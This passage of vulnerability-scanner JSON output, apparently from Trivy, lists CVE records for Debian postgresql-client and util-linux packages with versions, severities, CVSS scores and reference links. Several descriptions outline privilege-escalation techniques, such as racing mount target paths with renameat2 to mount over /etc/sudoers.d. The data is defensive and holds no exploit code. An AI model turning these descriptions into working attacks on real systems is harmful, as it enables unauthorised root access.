"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-6471.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-6471", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-6471", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-6471/" ], "PublishedDate": "2026-08-13T13:19:16.747Z", "LastModifiedDate": "2026-08-29T23:17:23.01Z" }, { "VulnerabilityID": "CVE-2026-6473", "VendorIDs": [ "DSA-6270-1", "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-6473", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d56680c52bd92930406d82b77849126d5d66d6e24a5f58117d8d81a495689e31", "Title": "postgresql: integer overflow can cause an undersized allocation and an out-of-bounds write", "Description": "Integer wraparound in multiple PostgreSQL server features allows an unprivileged database user to cause the server to undersize an allocation and write out-of-bounds. This may execute arbitrary code as the operating system user running the database. In applications that pass gigabyte-scale user inputs to the relevant database functions, the application input provider may achieve a segmentation fault. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "julia": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22878", "https://access.redhat.com/errata/RHSA-2026:26181", "https://access.redhat.com/errata/RHSA-2026:26203", "https://access.redhat.com/errata/RHSA-2026:26204", "https://access.redhat.com/errata/RHSA-2026:26524", "https://access.redhat.com/errata/RHSA-2026:26525", "https://access.redhat.com/errata/RHSA-2026:26561", "https://access.redhat.com/errata/RHSA-2026:27718", "https://access.redhat.com/errata/RHSA-2026:27738", "https://access.redhat.com/errata/RHSA-2026:27741", "https://access.redhat.com/errata/RHSA-2026:27742", "https://access.redhat.com/errata/RHSA-2026:27743", "https://access.redhat.com/errata/RHSA-2026:28037", "https://access.redhat.com/errata/RHSA-2026:28143", "https://access.redhat.com/errata/RHSA-2026:28208", "https://access.redhat.com/errata/RHSA-2026:28999", "https://access.redhat.com/errata/RHSA-2026:29212", "https://access.redhat.com/errata/RHSA-2026:29815", "https://access.redhat.com/errata/RHSA-2026:29904", "https://access.redhat.com/errata/RHSA-2026:29953", "https://access.redhat.com/errata/RHSA-2026:32983", "https://access.redhat.com/errata/RHSA-2026:32994", "https://access.redhat.com/errata/RHSA-2026:33441", "https://access.redhat.com/errata/RHSA-2026:33497", "https://access.redhat.com/errata/RHSA-2026:34043", "https://access.redhat.com/errata/RHSA-2026:34362", "https://access.redhat.com/errata/RHSA-2026:34363", "https://access.redhat.com/errata/RHSA-2026:35880", "https://access.redhat.com/errata/RHSA-2026:42555", "https://access.redhat.com/errata/RHSA-2026:44420", "https://access.redhat.com/errata/RHSA-2026:44481", "https://access.redhat.com/errata/RHSA-2026:44568", "https://access.redhat.com/errata/RHSA-2026:49521", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/security/cve/CVE-2026-6473", "https://bugzilla.redhat.com/2477439", "https://bugzilla.redhat.com/2477442", "https://bugzilla.redhat.com/2477447", "https://bugzilla.redhat.com/2477448", "https://bugzilla.redhat.com/show_bug.cgi?id=2477439", "https://bugzilla.redhat.com/show_bug.cgi?id=2477442", "https://bugzilla.redhat.com/show_bug.cgi?id=2477447", "https://bugzilla.redhat.com/show_bug.cgi?id=2477448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6473", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6475", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6477", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6478", "https://errata.almalinux.org/9/ALSA-2026-28037.html", "https://errata.rockylinux.org/RLSA-2026:28037", "https://linux.oracle.com/cve/CVE-2026-6473.html", "https://linux.oracle.com/errata/ELSA-2026-28999.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-6473", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-6473.json", "https://ubuntu.com/security/notices/USN-8294-1", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-6473", "https://www.postgresql.org/about/news/postgresql-184-1710-1614-1518-and-1423-released-3297/", "https://www.postgresql.org/support/security/CVE-2026-6473/" ], "PublishedDate": "2026-05-14T14:16:24.883Z", "LastModifiedDate": "2026-08-25T13:19:27.7Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "util-linux@2.41-5", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "972fb85b9c9e83e7" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ef9ce5916e99d06a705cd9625d3f2e9d061f9f3c8ce9ca10020da25e793c1164", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "util-linux@2.41-5", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "972fb85b9c9e83e7" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:aa955744a0a9fe6a6e218c3b994927432463b9d0cc6e99303de2fc59e4a62225", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "util-linux@2.41-5", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "972fb85b9c9e83e7" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2a498d7e71ab47fab0e7f1f86227c4149c6c8e39929104f78805a23fbfb9ce98", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "util-linux@2.41-5", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "972fb85b9c9e83e7" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0f7370f938bc2ef37c76ae1f3c70c475f47f0409c8f377e4052a03c699796fce", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "util-linux@2.41-5", "PkgName": "util-linux", "PkgIdentifier": { "PURL": "pkg:deb/debian/util-linux@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "972fb85b9c9e83e7" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:52fcb24259dc608ca938caa64b573dee184924b768d4fd209c58803dc5b481d0", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", 